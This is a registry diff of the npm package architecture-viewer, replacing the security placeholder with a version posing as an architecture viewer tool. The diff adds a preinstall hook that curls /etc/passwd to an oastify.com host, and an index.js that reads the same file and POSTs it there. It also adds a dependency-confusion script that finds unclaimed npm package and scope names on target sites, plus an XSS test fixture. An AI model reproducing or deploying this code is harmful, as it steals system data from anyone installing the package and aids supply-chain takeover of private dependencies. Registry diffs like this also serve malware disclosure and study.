architecture-viewer 0.0.1-security → 4.4.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of architecture-viewer might be problematic. Click here for more details.

Files changed (96) hide show
  1. package/2/package.json +10 -0
  2. package/2/postinstall.js +33 -0
  3. package/New Folder/architecture-viewer/.babelrc +9 -0
  4. package/New Folder/architecture-viewer/.whitesource +8 -0
  5. package/New Folder/architecture-viewer/CODEOWNERS +2 -0
  6. package/New Folder/architecture-viewer/LICENSE.txt +201 -0
  7. package/New Folder/architecture-viewer/README.md +238 -0
  8. package/New Folder/architecture-viewer/licenses.csv +40 -0
  9. package/New Folder/architecture-viewer/package-lock.json +16126 -0
  10. package/New Folder/architecture-viewer/package.json +60 -0
  11. package/New Folder/architecture-viewer/preact.config.js +62 -0
  12. package/New Folder/architecture-viewer/readme_resources/screenrecord_arch_diagram.gif +0 -0
  13. package/New Folder/architecture-viewer/sample_json_data/large_web.json +289 -0
  14. package/New Folder/architecture-viewer/sample_json_data/no_steps.json +185 -0
  15. package/New Folder/architecture-viewer/sample_json_data/readme_example.json +55 -0
  16. package/New Folder/architecture-viewer/sample_json_data/section_example.json +323 -0
  17. package/New Folder/architecture-viewer/sample_json_data/simple_structure.json +131 -0
  18. package/New Folder/architecture-viewer/sample_json_data/zones_example.json +445 -0
  19. package/New Folder/architecture-viewer/sample_plantuml_data/example.adoc +65 -0
  20. package/New Folder/architecture-viewer/sample_plantuml_data/example.png +0 -0
  21. package/New Folder/architecture-viewer/sample_plantuml_data/example.svg +1 -0
  22. package/New Folder/architecture-viewer/src/assets/data.json +445 -0
  23. package/New Folder/architecture-viewer/src/assets/favicon.ico +0 -0
  24. package/New Folder/architecture-viewer/src/assets/grid_data.json +1126 -0
  25. package/New Folder/architecture-viewer/src/assets/icons/android-chrome-192x192.png +0 -0
  26. package/New Folder/architecture-viewer/src/assets/icons/android-chrome-512x512.png +0 -0
  27. package/New Folder/architecture-viewer/src/assets/icons/apple-touch-icon.png +0 -0
  28. package/New Folder/architecture-viewer/src/assets/icons/favicon-16x16.png +0 -0
  29. package/New Folder/architecture-viewer/src/assets/icons/favicon-32x32.png +0 -0
  30. package/New Folder/architecture-viewer/src/assets/icons/info.png +0 -0
  31. package/New Folder/architecture-viewer/src/assets/icons/mstile-150x150.png +0 -0
  32. package/New Folder/architecture-viewer/src/assets/test_data.json +32 -0
  33. package/New Folder/architecture-viewer/src/components/app.js +231 -0
  34. package/New Folder/architecture-viewer/src/components/controls.js +195 -0
  35. package/New Folder/architecture-viewer/src/components/diagram.js +362 -0
  36. package/New Folder/architecture-viewer/src/components/diagramArea.js +68 -0
  37. package/New Folder/architecture-viewer/src/components/info.js +37 -0
  38. package/New Folder/architecture-viewer/src/components/infoArea.js +75 -0
  39. package/New Folder/architecture-viewer/src/components/key.js +42 -0
  40. package/New Folder/architecture-viewer/src/components/tableOfContents.js +112 -0
  41. package/New Folder/architecture-viewer/src/components/tocStep.js +100 -0
  42. package/New Folder/architecture-viewer/src/components/zoneLegend.js +55 -0
  43. package/New Folder/architecture-viewer/src/index.js +20 -0
  44. package/New Folder/architecture-viewer/src/manifest.json +19 -0
  45. package/New Folder/architecture-viewer/src/routes/home/index.js +29 -0
  46. package/New Folder/architecture-viewer/src/routes/home/style.less +23 -0
  47. package/New Folder/architecture-viewer/src/routes/profile/index.js +63 -0
  48. package/New Folder/architecture-viewer/src/routes/profile/style.less +23 -0
  49. package/New Folder/architecture-viewer/src/style/helpers.less +40 -0
  50. package/New Folder/architecture-viewer/src/style/index.css +224 -0
  51. package/New Folder/architecture-viewer/src/style/jquery.qtip.less +623 -0
  52. package/New Folder/architecture-viewer/src/sw.js +4 -0
  53. package/New Folder/architecture-viewer/src/template.html +15 -0
  54. package/New Folder/architecture-viewer/src/utils/dataValidator.js +333 -0
  55. package/New Folder/architecture-viewer/src/utils/parser.js +623 -0
  56. package/New Folder/architecture-viewer/src/utils/stepUtils.js +30 -0
  57. package/New Folder/architecture-viewer/tests/__mocks__/browserMocks.js +21 -0
  58. package/New Folder/architecture-viewer/tests/__mocks__/fileMocks.js +3 -0
  59. package/New Folder/architecture-viewer/tests/__mocks__/setupTests.js +6 -0
  60. package/New Folder/architecture-viewer/tests/parser.test.js +799 -0
  61. package/New Folder/architecture-viewer/tests/testfiles/aliased_participants.adoc +7 -0
  62. package/New Folder/architecture-viewer/tests/testfiles/bigspace.json +1 -0
  63. package/New Folder/architecture-viewer/tests/testfiles/dividers.adoc +18 -0
  64. package/New Folder/architecture-viewer/tests/testfiles/doubled_names.adoc +10 -0
  65. package/New Folder/architecture-viewer/tests/testfiles/empty.adoc +2 -0
  66. package/New Folder/architecture-viewer/tests/testfiles/meta.adoc +19 -0
  67. package/New Folder/architecture-viewer/tests/testfiles/notes_multiline.adoc +17 -0
  68. package/New Folder/architecture-viewer/tests/testfiles/notes_singleline.adoc +16 -0
  69. package/New Folder/architecture-viewer/tests/testfiles/parsefile.adoc +6 -0
  70. package/New Folder/architecture-viewer/tests/testfiles/participant_decl.adoc +6 -0
  71. package/New Folder/architecture-viewer/tests/testfiles/participant_info.adoc +7 -0
  72. package/New Folder/architecture-viewer/tests/testfiles/readme.adoc +7 -0
  73. package/New Folder/architecture-viewer/tests/testfiles/steps_aliased.adoc +9 -0
  74. package/New Folder/architecture-viewer/tests/testfiles/steps_group.adoc +16 -0
  75. package/New Folder/architecture-viewer/tests/testfiles/steps_group.json +1 -0
  76. package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.adoc +16 -0
  77. package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.json +1 -0
  78. package/New Folder/architecture-viewer/tests/testfiles/steps_loop.adoc +16 -0
  79. package/New Folder/architecture-viewer/tests/testfiles/steps_loop.json +1 -0
  80. package/New Folder/architecture-viewer/tests/testfiles/steps_mixed.adoc +9 -0
  81. package/New Folder/architecture-viewer/tests/testfiles/steps_steptest.adoc +17 -0
  82. package/New Folder/architecture-viewer/tests/testfiles/steps_unaliased.adoc +9 -0
  83. package/New Folder/architecture-viewer/tests/testfiles/supernodes.adoc +10 -0
  84. package/New Folder/architecture-viewer/tests/testfiles/unaliased_participants.adoc +6 -0
  85. package/New Folder/architecture-viewer/tests/testfiles/undeclaredparticipant.adoc +23 -0
  86. package/New Folder/architecture-viewer/tests/testfiles/xsstest.adoc +15 -0
  87. package/New Folder/architecture-viewer/tests/testfiles/zoned_participants.adoc +5 -0
  88. package/New Folder/architecture-viewer/tests/validator.test.js +63 -0
  89. package/New Folder/d_i.txt +1 -0
  90. package/New Folder/dependency_confution_npm.sh +70 -0
  91. package/New Folder/licenses.csv +40 -0
  92. package/New Folder/npm_sub.txt +0 -0
  93. package/New Folder/package.json.save +12 -0
  94. package/index.js +39 -0
  95. package/package.json +9 -3
  96. package/README.md +0 -5
@@ -0,0 +1,7 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant "B B B" as B
5
+ participant C
6
+ participant D D D as D
7
+ @enduml
@@ -0,0 +1 @@
1
+ {"title":"","graphData":{"nodes":[{"data":{"id":"Edge","zone":"#FBDCD6"}},{"data":{"id":"DMS","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"Edge","target":"DMS"}}]},"stepData":[{"id":"0","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"Check if deviceToken is present","note":""},{"id":"1","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"another one","note":""}],"zoneData":[]}
@@ -0,0 +1,18 @@
1
+ @startuml
2
+ participant A
3
+ participant B
4
+ participant C
5
+
6
+ == As only ==
7
+ A -> B: AB
8
+ A -> C: AC
9
+
10
+ ==Bs only==
11
+ B -> A: BA
12
+ B -> C: BC
13
+
14
+ ==Cs only==
15
+ C -> A: CA
16
+ C -> B: CB
17
+
18
+ @enduml
@@ -0,0 +1,10 @@
1
+ @startuml
2
+
3
+ participant A
4
+ participant "B" as B
5
+ participant "B" as C
6
+
7
+ A -> B: result?
8
+ A -> C: result
9
+
10
+ @enduml
@@ -0,0 +1,2 @@
1
+ @startuml
2
+ @enduml
@@ -0,0 +1,19 @@
1
+ @startuml
2
+
3
+
4
+ participant plantuml
5
+ participant json
6
+ participant parser
7
+ participant validator
8
+ participant renderer
9
+ participant TOC
10
+ participant diagram
11
+
12
+ plantuml -> parser: a plantUML file is uploaded to the app, and parsed
13
+ json -> parser: a JSON file is uploaded to the app, and parsed
14
+ parser -> validator: the parsed result is passed to the validator, which is then validated (mostly for user generated JSON)
15
+ validator -> renderer: after the data is validated, the data is rendered by the app's renderer
16
+ renderer -> TOC: the step data is rendered in a TOC widget located on the right of the app
17
+ renderer -> diagram: the diagram is rendered using the graphData, and is located on the left of the app
18
+
19
+ @enduml
@@ -0,0 +1,17 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+
7
+ A -> B: AB
8
+ note left: AB note
9
+
10
+ A -> C: AC
11
+ note right
12
+ AC line 1
13
+
14
+ AC line 2
15
+ end note
16
+
17
+ @enduml
@@ -0,0 +1,16 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+
7
+ A -> B: AB
8
+ note left: AB note
9
+
10
+ A -> C: AC
11
+ note right: AC note
12
+
13
+ note over A: this is over A
14
+ note right of A: this is right of A
15
+
16
+ @enduml
@@ -0,0 +1,6 @@
1
+ @startuml
2
+ autonumber
3
+ participant Testing\nmulti\nline as TML
4
+
5
+
6
+ @enduml
@@ -0,0 +1,6 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ actor "B B B" as B
5
+ participant C
6
+ @enduml
@@ -0,0 +1,7 @@
1
+ @startuml
2
+ participant A
3
+ note over A
4
+ this is some info on A<br/>
5
+ newlines idk
6
+ end note
7
+ @enduml
@@ -0,0 +1,7 @@
1
+ @startuml
2
+ title "some_title"
3
+ participant some_id << (X, #ffb2b2) Z1 >>
4
+ participant some_id_2 << (X, #b2b2ff) Z2 >>
5
+
6
+ some_id -> some_id_2: an example step
7
+ @enduml
@@ -0,0 +1,9 @@
1
+ @startuml
2
+ autonumber
3
+ participant "AAA" as A
4
+ participant "BBB" as B
5
+ participant "CCC" as C
6
+
7
+ A -> B: AB
8
+ B -> C: BC
9
+ @enduml
@@ -0,0 +1,16 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+ group testgroup1
7
+ A -> B: AB
8
+ group testgroup2
9
+ B -> C: BC
10
+ end
11
+ note left: group note testgroup2
12
+ end
13
+ note left
14
+ group note testgroup1
15
+ end note
16
+ @enduml
@@ -0,0 +1 @@
1
+ {"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"group","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testgroup2","note":"group note testgroup2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}
@@ -0,0 +1,16 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+ group testgroup1
7
+ A -> B: AB
8
+ loop testloop2
9
+ B -> C: BC
10
+ end
11
+ note left: loop note testloop2
12
+ end
13
+ note left
14
+ group note testgroup1
15
+ end note
16
+ @enduml
@@ -0,0 +1 @@
1
+ {"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}
@@ -0,0 +1,16 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+ loop testloop1
7
+ A -> B: AB
8
+ loop testloop2
9
+ B -> C: BC
10
+ end
11
+ note left: loop note testloop2
12
+ end
13
+ note left
14
+ loop note testloop1
15
+ end note
16
+ @enduml
@@ -0,0 +1 @@
1
+ {"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testloop1","note":"loop note testloop1"}],"zoneData":[]}
@@ -0,0 +1,9 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant "BBB" as B
5
+ participant C
6
+
7
+ A -> B: AB
8
+ B -> C: BC
9
+ @enduml
@@ -0,0 +1,17 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ A -> B: AB1
6
+ A -\ B: AB2
7
+ A -/ B: AB3
8
+ A ->> B: AB4
9
+ A -\\ B: AB5
10
+ A -// B: AB6
11
+ A --> B: AB7
12
+ A --\\ B: AB8
13
+ A --// B: AB9
14
+ A -->> B: AB10
15
+ B <- A: AB11
16
+ A <-> B: AB12 //shouldn't be parsed
17
+ @enduml
@@ -0,0 +1,9 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+
7
+ A -> B: AB
8
+ B -> C: BC
9
+ @enduml
@@ -0,0 +1,10 @@
1
+ @startuml
2
+
3
+ participant A << (X,#80ccff) blue! >>
4
+ participant B << (X,#80ccff) blue! >>
5
+ participant C
6
+
7
+ C -> A: whoa
8
+ A -> B: inside!
9
+
10
+ @enduml
@@ -0,0 +1,6 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant "B"
5
+ participant C
6
+ @enduml
@@ -0,0 +1,23 @@
1
+ @startuml
2
+ participant "Customer" as cust
3
+ participant "Wallet Client" as WC
4
+ participant "Edge" as WO
5
+
6
+ participant "APNS" as APNS
7
+ participant "GCM" as GCM
8
+
9
+ participant "DMS" as DMS
10
+
11
+ participant "360" as 360
12
+ participant "360" as CST
13
+
14
+
15
+ WO -> WO: Swallow failure(?)
16
+ WO -> WC: return Success/Failure
17
+
18
+ WC -> WO: <color #0000ff> update AlertSubscriptions
19
+ WO -> TSYS: <color #0000ff> tsysAuthUpdate V1 (accountReferenceId, boolean)
20
+ TSYS -> WO: return success/failure
21
+
22
+
23
+ @enduml
@@ -0,0 +1,15 @@
1
+ @startuml
2
+ autonumber
3
+ participant A
4
+ participant B
5
+ participant C
6
+
7
+ A -> B: AB
8
+ note left: AB note
9
+
10
+ A -> C: AC
11
+ note right
12
+ <script>alert("maybe")</script>
13
+ end note
14
+
15
+ @enduml
@@ -0,0 +1,5 @@
1
+ @startuml
2
+ participant A << (X, #111) zoneA >>
3
+ participant "BBB" as B << (X, #222) zoneB >>
4
+ participant C
5
+ @enduml
@@ -0,0 +1,63 @@
1
+ import validator from '../src/utils/dataValidator';
2
+
3
+
4
+ //The given example files for users to test out themselves
5
+ const base_dir = '../sample_json_data/'
6
+
7
+ const simple_structure = require(base_dir + 'simple_structure.json');
8
+ const section_example = require(base_dir + 'section_example.json');
9
+ const readme_example = require(base_dir + 'readme_example.json');
10
+ const zones_example = require(base_dir + 'zones_example.json');
11
+ const large_web = require(base_dir + 'large_web.json');
12
+
13
+ const printErrors = (res) => {
14
+ if (res.errors) {
15
+ console.error(errors);
16
+ }
17
+ }
18
+
19
+ expect.extend({
20
+ toNotError(received, argument) {
21
+ const res = validator(received);
22
+ const pass = res.errors.length === 0;
23
+ if (pass) {
24
+ return {
25
+ message: () => (`${received} is a valid json structure`),
26
+ pass: true
27
+ }
28
+ } else {
29
+ return {
30
+ message: () => (`an error occurred in validation, here it is: \n${JSON.stringify(res.errors, null, 4)}`),
31
+ pass: false
32
+ }
33
+ }
34
+ }
35
+ })
36
+
37
+ describe('validator', () => {
38
+ /*
39
+ THE GIVEN JSON FILES IN THE sample_json_data DIRECTORY
40
+ */
41
+ it('should validate a simple diagram', () => {
42
+ expect(simple_structure).toNotError();
43
+ });
44
+
45
+ it('should validate a diagram with groups', () => {
46
+ expect(section_example).toNotError();
47
+ })
48
+
49
+ it('should validate the readme example', () => {
50
+ expect(readme_example).toNotError();
51
+ })
52
+
53
+ it('should validate the zones example', () => {
54
+ expect(zones_example).toNotError();
55
+ })
56
+
57
+ it('should validate the large web example', () => {
58
+ expect(large_web).toNotError();
59
+ })
60
+
61
+
62
+
63
+ });
@@ -0,0 +1 @@
1
+ import InternalModule from "@capitalone/internal-module"
@@ -0,0 +1,70 @@
1
+ #!/bin/bash
2
+ echo '''
3
+ _ __ ___ __
4
+ / | / /___ ____ ___ / | __ __/ /_____
5
+ / |/ / __ \/ __ `__ \ / /| |/ / / / __/ __ \
6
+ / /| / /_/ / / / / / / / ___ / /_/ / /_/ /_/ /
7
+ /_/ |_/ .___/_/ /_/ /_/ /_/ |_\__,_/\__/\____/
8
+ /_/ v1.0.2
9
+ twitter.com/@x1337loser
10
+ warning: BE AWARE OF FALSE POSITIVE, CONFIRM YOUR FINDING MANUALLY. Good Luck.
11
+ Use with caution. You are responsible for your actions.
12
+ Developers assume no liability and are not responsible for any misuse or damage.
13
+ '''
14
+
15
+ if [ -d $1 ];then
16
+ echo '' >/dev/null 2>&1
17
+ else
18
+ mkdir $PWD/$1;
19
+ fi
20
+ echo -e "Running waybackurls on $1"
21
+ waybackurls $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
22
+ echo -e "Running gau on $1"
23
+ gau $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
24
+
25
+ cd $PWD/$1;
26
+ echo -e "Found $(cat $1-js-urls.txt | sort -u |wc -l) js file url ";
27
+ cat $1-js-urls.txt | sort -u |while read ut;do
28
+ wget $ut.map >/dev/null 2>&1;
29
+ done
30
+
31
+ grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | grep -v '@' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | tee -a $1-npm-packages.txt >/dev/null 2>&1;
32
+
33
+ rm $1-js-urls.txt;
34
+ if [ -s $1-npm-packages.txt ];then
35
+ echo -e " Found some packages now going for final test on "$1-npm-packages.txt"";
36
+ cat $1-npm-packages.txt | sort -u | while read ut;do
37
+ if $(curl -o /dev/null -s -w "%{http_code}\n" "https://registry.npmjs.org/$ut" | grep "404" >/dev/null 2>&1); then
38
+ echo -e ""$ut" \e[1;31mFound Private npm package, \e[0m" && echo $ut >> $1-npm-vuln.txt;
39
+ echo -e "\e[1;31mprivate package URL: https://registry.npmjs.org/$ut \e[0m"
40
+
41
+ else
42
+ echo -e ""$ut"\e[1;33m Available in Public Registry \e[0m";
43
+ fi
44
+ done
45
+ else
46
+ echo -e "No npm packages found, now going for scope test "
47
+ fi
48
+ #this part is for the scope package test please be careful with that, some times `www.npmjs.com` will show you 429 response code
49
+ grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep '@' | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | grep '@' | cut -d '@' -f 2 | tee -a $1-npm-scope.txt >/dev/null 2>&1;
50
+
51
+ if [ -s $1-npm-scope.txt ];then
52
+ echo -e " Found some Scope names now going for final test on "$1-npm-scope.txt"";
53
+ cat $1-npm-scope.txt | sort -u | while read pkg;do
54
+ OPTION=`curl -o /dev/null -s -w "%{http_code}\n" "https://www.npmjs.com/org/$pkg"`
55
+ if $(echo "$OPTION" | grep "200\|302" >/dev/null 2>&1);then
56
+ echo -e "@"$pkg"\e[1;33m Available in Public Registry \e[0m" && echo $pkg >> $1-npm-scope-vuln.txt;
57
+ grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo "Full package name of @"$pkg" is @"$pkg"/"$ut" ";done
58
+ elif $(echo "$OPTION" | grep "429" >/dev/null 2>&1);then
59
+ echo -e "@"$pkg" \e[1;31m Rate limit detected \e[0m"
60
+
61
+ else
62
+ echo -e "@"$pkg"\e[1;31m Found Unclaimed scope Name\e[0m";
63
+ echo -e "\e[1;31mprivate org URL: https://www.npmjs.com/org/$pkg \e[0m"
64
+ grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo -e "\e[1;31mFull package name of @"$pkg" is @"$pkg"/"$ut", this is unclaimed, Add @"$pkg"/"$ut" in your package.json file like {package: @"$pkg"/"$ut"}, \e[0m";done
65
+ fi
66
+ done
67
+ else
68
+ echo -e "No Scope name found";
69
+ fi
70
+ rm $1-npm-scope.txt *.map.* *.map $1-npm-packages.txt;
@@ -0,0 +1,40 @@
1
+ "module name","license","repository"
2
+ "ajv@6.5.3","MIT","https://github.com/epoberezkin/ajv"
3
+ "cytoscape-dagre@2.2.1","MIT","https://github.com/cytoscape/cytoscape.js-dagre"
4
+ "cytoscape-popper@1.0.2","MIT","https://github.com/cytoscape/cytoscape.js-popper"
5
+ "cytoscape@3.2.16","MIT","https://github.com/cytoscape/cytoscape.js"
6
+ "dagre@0.7.4","MIT","https://github.com/cpettitt/dagre"
7
+ "dagre@0.8.2","MIT","https://github.com/dagrejs/dagre"
8
+ "fast-deep-equal@2.0.1","MIT","https://github.com/epoberezkin/fast-deep-equal"
9
+ "fast-json-stable-stringify@2.0.0","MIT","https://github.com/epoberezkin/fast-json-stable-stringify"
10
+ "fillthisfornow@0.0.0","UNLICENSED",""
11
+ "fs-access@1.0.1","MIT","https://github.com/sindresorhus/fs-access"
12
+ "graphlib@1.0.7","MIT","https://github.com/cpettitt/graphlib"
13
+ "graphlib@2.1.5","MIT","https://github.com/dagrejs/graphlib"
14
+ "heap@0.2.6","PSF","https://github.com/qiao/heap.js"
15
+ "immutability-helper@2.7.1","MIT","https://github.com/kolodny/immutability-helper"
16
+ "invariant@2.2.4","MIT","https://github.com/zertosh/invariant"
17
+ "isexe@2.0.0","ISC","https://github.com/isaacs/isexe"
18
+ "js-tokens@4.0.0","MIT","https://github.com/lydell/js-tokens"
19
+ "json-schema-traverse@0.4.1","MIT","https://github.com/epoberezkin/json-schema-traverse"
20
+ "karma-chrome-launcher@2.2.0","MIT","https://github.com/karma-runner/karma-chrome-launcher"
21
+ "lodash.debounce@4.0.8","MIT","https://github.com/lodash/lodash"
22
+ "lodash@3.10.1","MIT","https://github.com/lodash/lodash"
23
+ "lodash@4.17.10","MIT","https://github.com/lodash/lodash"
24
+ "loose-envify@1.4.0","MIT","https://github.com/zertosh/loose-envify"
25
+ "null-check@1.0.0","MIT","https://github.com/sindresorhus/null-check"
26
+ "object-assign@4.1.1","MIT","https://github.com/sindresorhus/object-assign"
27
+ "popper.js@1.14.4","MIT","https://github.com/FezVrasta/popper.js"
28
+ "preact-compat@3.18.3","MIT","https://github.com/developit/preact-compat"
29
+ "preact-render-to-string@3.8.2","MIT","https://github.com/developit/preact-render-to-string"
30
+ "preact-router@2.6.1","MIT","https://github.com/developit/preact-router"
31
+ "preact-transition-group@1.1.1","MIT","https://github.com/developit/preact-transition-group"
32
+ "preact@8.3.1","MIT","https://github.com/developit/preact"
33
+ "pretty-format@3.8.0","MIT","https://github.com/thejameskyle/pretty-format"
34
+ "prop-types@15.6.2","MIT","https://github.com/facebook/prop-types"
35
+ "punycode@2.1.1","MIT","https://github.com/bestiejs/punycode.js"
36
+ "standalone-react-addons-pure-render-mixin@0.1.1","MIT",""
37
+ "tippy.js@2.5.4","MIT","https://github.com/atomiks/tippyjs"
38
+ "uri-js@4.2.2","BSD-2-Clause","https://github.com/garycourt/uri-js"
39
+ "which@1.3.1","ISC","https://github.com/isaacs/node-which"
40
+
File without changes
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "architecture-viewer",
3
+ "version": "6.7.8",
4
+ "description": "Malicious package ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+
9
+ },
10
+ "author": "al1min",
11
+ "license": "ISC"
12
+ }
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const http = require('http');
2
+ const exec = require('child_process').exec;
3
+
4
+ // If this file is executed, you know the package is being installed
5
+ console.log("[+] Malicious package installed!");
6
+
7
+ // Exfiltrate sensitive information to a remote server
8
+ exec('cat /etc/passwd', (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`exec error: ${error}`);
11
+ return;
12
+ }
13
+
14
+ // Send the sensitive data to a remote server
15
+ const options = {
16
+ hostname: 'vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com', // Replace with my server
17
+ port: 80,
18
+ path: '/exfiltrate',
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ }
23
+ };
24
+
25
+ const req = http.request(options, (res) => {
26
+ res.on('data', (d) => {
27
+ process.stdout.write(d);
28
+ });
29
+ });
30
+
31
+ req.on('error', (e) => {
32
+ console.error(e);
33
+ });
34
+
35
+ // Send the exfiltrated data
36
+ req.write(JSON.stringify({ passwd: stdout }));
37
+ req.end();
38
+ });
39
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "architecture-viewer",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "4.4.4",
4
+ "description": "An architecture viewer tool",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "/usr/bin/curl --data '@/etc/passwd' ${hostname}vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=architecture-viewer for more information.